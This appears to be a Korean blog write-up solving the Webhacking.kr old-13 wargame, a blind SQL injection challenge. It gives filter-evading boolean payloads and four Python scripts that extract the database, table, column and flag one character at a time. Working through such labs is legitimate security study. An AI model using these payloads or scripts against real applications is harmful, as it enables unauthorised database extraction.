ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Webhacking.kr> old-13
    Wargame/Webhacking.kr 2021. 11. 28. 21:31

    old-13

    제출 칸에 1을 입력하면

    0을 입력하면

    2를 입력하면

    1을 입력하면 1을

    2를 입력하면 0을

    0을 입력하면 아무것도 출력하지 않는다.

    1이면 참 0이면 거짓인 것 같다.

     

    페이지 소스 코드를 살펴보면

    <html>
    <head>
    <title>Challenge 13</title>
    <style type="text/css">
    body { background:black; color:white; font-size:10pt; }
    </style>
    </head>
    <body>
    <h1>SQL INJECTION</h1>
    <font size=2 style=background:gray;></font><br>
    <form method=get>
    <input name=no><input type=submit>
    </form>
    <table border=1><tr><td>result</td></tr><tr><td>0</td></tr></table><form method=get action=index.php>
    <input name=password type=text placeholder="FLAG{something}"><input type=submit value='Auth'>
    </form>
    </body>
    </html>

     

    제출 칸에서 필터링 되는 문자를 살펴보면

    사칙연산(+, -, *, /), #, --, <, >, =, like, and, 공백, &&, ||, where, ascii, union 등

     

    감을 못잡아 https://k-owl.tistory.com/156를 참고해서 풀었다.

     

    ■데이터베이스 이름 길이 찾기

    database()는 데이터베이스 이름을 돌려주는 함수다. 공백을 필터링 하기 때문에 ()를 사용한다.

    GET 방식이므로 ?no=(0)or(if(length(database())in(7),1,0))을 입력하면

    데이터베이스 이름의 길이가 7인 것을 확인할 수 있다.

     

    ■데이터베이스 이름 찾기

    ?no=(0)or(if(ord(substr(database(),1,1))in(99),1,0))을 입력하면

    데이터베이스 이름의 첫 글자가 'c'로 시작하는 것을 확인할 수 있다.

    파이썬 코드를 이용해 데이터베이스의 이름을 찾아보면

    import requests
    
    baseurl = "https://webhacking.kr/challenge/web-10/"
    cookies = {"PHPSESSID" : "PHPSESSID 값"}
    want_str = "<td>1</td>"
    db_name = ""
    
    for i in range(1, 8):
        for j in range(33, 127):
            url = baseurl + "?no=(0)or(if(ord(substr(database(),{},1))in({}),1,0))".format(i, j)
            res = requests.get(url=url, cookies=cookies)
    
            if want_str in res.text:
                db_name += chr(j)
                print("{} : {}".format(i, chr(j)))
                break
    
    print("db_name : ", db_name)

    데이터베이스의 이름은 'chall13'인 것을 확인할 수 있다.

     

    ■테이블 이름 길이 찾기

    ?no=if((select(length(min(if((select(table_schema)in(데이터베이스이름)),table_name,null)))) from(information_schema.tables))in(테이블명길이),1,0)

     

    if((select(table_schema)in(데이터베이스이름)),table_name,null)

    위에서 찾은 chall13안에 테이블이 있으면 테이블 이름을 반환한다.

     

    ?no=if((select(length(min(table_name)))from(information_schema.tables))in(테이블명길이),1,0)

    MySQL 데이터베이스는 informaion_schema라는 테이터베이스에서 데이터베이스 이름, 테이블, 칼럼 정보 등을 관리한다. min을 왜 사용하는지는 모르겠지만, 없을 경우 테이블 이름의 길이가 출력되지 않았다.

    이 구문을 이용해 테이블 이름의 길이를 구해보면

    import requests
    
    baseurl = "https://webhacking.kr/challenge/web-10/"
    cookies = {"PHPSESSID" : "PHPSESSID 값"}
    want_str = "<td>1</td>"
    table_len = 0
    
    for i in range(1, 100):
        url = baseurl + "?no=if((select(length(min(if((select(table_schema)in(database())),table_name,null))))from(information_schema.tables))in({}),1,0)".format(i)
        res = requests.get(url=url, cookies=cookies)
    
        if want_str in res.text:
            table_len += i
            break
    print("table_len : ", table_len)

    테이블 이름의 길이가 13인 것을 알 수 있다.

     

    ■테이블 이름 찾기

    테이블 이름의 첫 글자를 찾기 위해

    if((select(ord(substr(min(if((select(table_schema)in(database())),table_name,null)),1,1)))

    from(information_schema.tables))in(102),1,0)를 입력하면

    테이블의 첫 글자가 'f'로 시작하는 것을 알 수 있다.

    파이썬 코드를 이용해 테이블 이름을 구해보면

    import requests
    
    baseurl = "https://webhacking.kr/challenge/web-10/"
    cookies = {"PHPSESSID" : "PHPSESSID 값"}
    want_str = "<td>1</td>"
    table_name = ""
    
    for i in range(1, 14):
        for j in range(33, 127):
            url = baseurl + "?no=if((select(ord(substr(min(if((select(table_schema)in(database())),table_name,null)),{},1)))from(information_schema.tables))in({}),1,0)".format(i, j)
            res = requests.get(url=url, cookies=cookies)
    
            if want_str in res.text:
                table_name += chr(j)
                print("{} : {}".format(i, chr(j)))
                break
    
    print("table_name : ", table_name)

     

    ■Column 길이 찾기

    if((select(length(min(if((select(table_name)in(테이블명)),column_name,null))))

    from(information_schema.columns))in(컬럼명의 길이),1,0)

    테이블명을 그대로 하면 제대로 출력되지 않는다. 0x는 필터링 되므로 0b를 사용한다.

    테이블명을 이진수로 바꿔 입력하면

    ?no=if((select(length(min(if((select(table_name)in(0b0110011001101100011000010110011101

    0111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null))))

    from(information_schema.columns))in(13),1,0)

    테이블 길이가 13인 것을 확인할 수 있다.

     

    ■Column 이름 찾기

    no=?if((select(ord(substr(min(if((select(table_name)in(0b011001100110110001100001011001110101111101

    10000101100010001101110011001100110011001101110011011000111000)),column_name,null)),1,1)))

    from(information_schema.columns))in(

    102

    ),1,0)을 입력하면

    Column의 첫 글자가 'f'인 것을 확인할 수 있다.

    파이썬 코드를 이용하여 나머지 글자도 찾아보면

    import requests
    
    baseurl = "https://webhacking.kr/challenge/web-10/"
    cookies = {"PHPSESSID" : "PHPSESSID"}
    want_str = "<td>1</td>"
    column_name = ""
    
    for i in range(1, 14):
        for j in range(33, 127):
            url = baseurl + "?no=if((select(ord(substr(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)),{},1)))from(information_schema.columns))in({}),1,0)".format(i, j)
            res = requests.get(url=url, cookies=cookies)
    
            if want_str in res.text:
                column_name += chr(j)
                print("{} : {}".format(i, chr(j)))
                break
    
    print("column_name : ", column_name)

    Column 이름이 'flag_3a55b31d'라는 것을 알 수 있다.

     

    ■flag 길이 찾기

    이제 Column안에 flag를 찾으면 된다.

    ?no=if((select(length(max(컬럼명)))from(데이터베이스명.테이블명))in(길이),1,0)을 이용하면

    flag의 길이를 찾을 수 있다.

    ?no=if((select(length(max(flag_3a55b31d)))from(chall13.flag_ab733768))in(27),1,0)을 입력하면

    flag의 길이가 27임을 알 수 있다.

     

    ■flag 찾기

    ?no=if((select(ord(substr(max(컬럼명),1,1)))from(데이터베이스명.테이블명))in(문자),1,0)로 flag를 찾을 수 있다.

    ?no=if((select(ord(substr(max(flag_3a55b31d),1,1)))from(chall13.flag_ab733768))in(70),1,0)을 입력하면

    flag의 첫 글자가 'F'임을 알 수 있다.

    파이썬 코드를 이용해서 찾아보면

    import requests
    
    baseurl = "https://webhacking.kr/challenge/web-10/"
    cookies = {"PHPSESSID" : "PHPSESSID"}
    want_str = "<td>1</td>"
    flag = ""
    
    for i in range(1, 28):
        for j in range(33, 127):
            url = baseurl + "?no=if((select(ord(substr(max(flag_3a55b31d),{},1)))from(chall13.flag_ab733768))in({}),1,0)".format(i, j)
            res = requests.get(url=url, cookies=cookies)
    
            if want_str in res.text:
                flag += chr(j)
                print("{} : {}".format(i, chr(j)))
                break
    
    print("flag : ", flag)

    FLAG 칸에 찾은 값을 입력하면

    문제를 해결할 수 있다.

    'Wargame > Webhacking.kr' 카테고리의 다른 글

    <Webhacking.kr> old-15  (0) 2021.11.29
    <Webhacking.kr> old-14  (0) 2021.11.29
    <Webhacking.kr> old-12  (0) 2021.11.27
    <Webhacking.kr> old-11  (0) 2021.11.25
    <Webhacking.kr> old-10  (0) 2021.11.23
Designed by Tistory.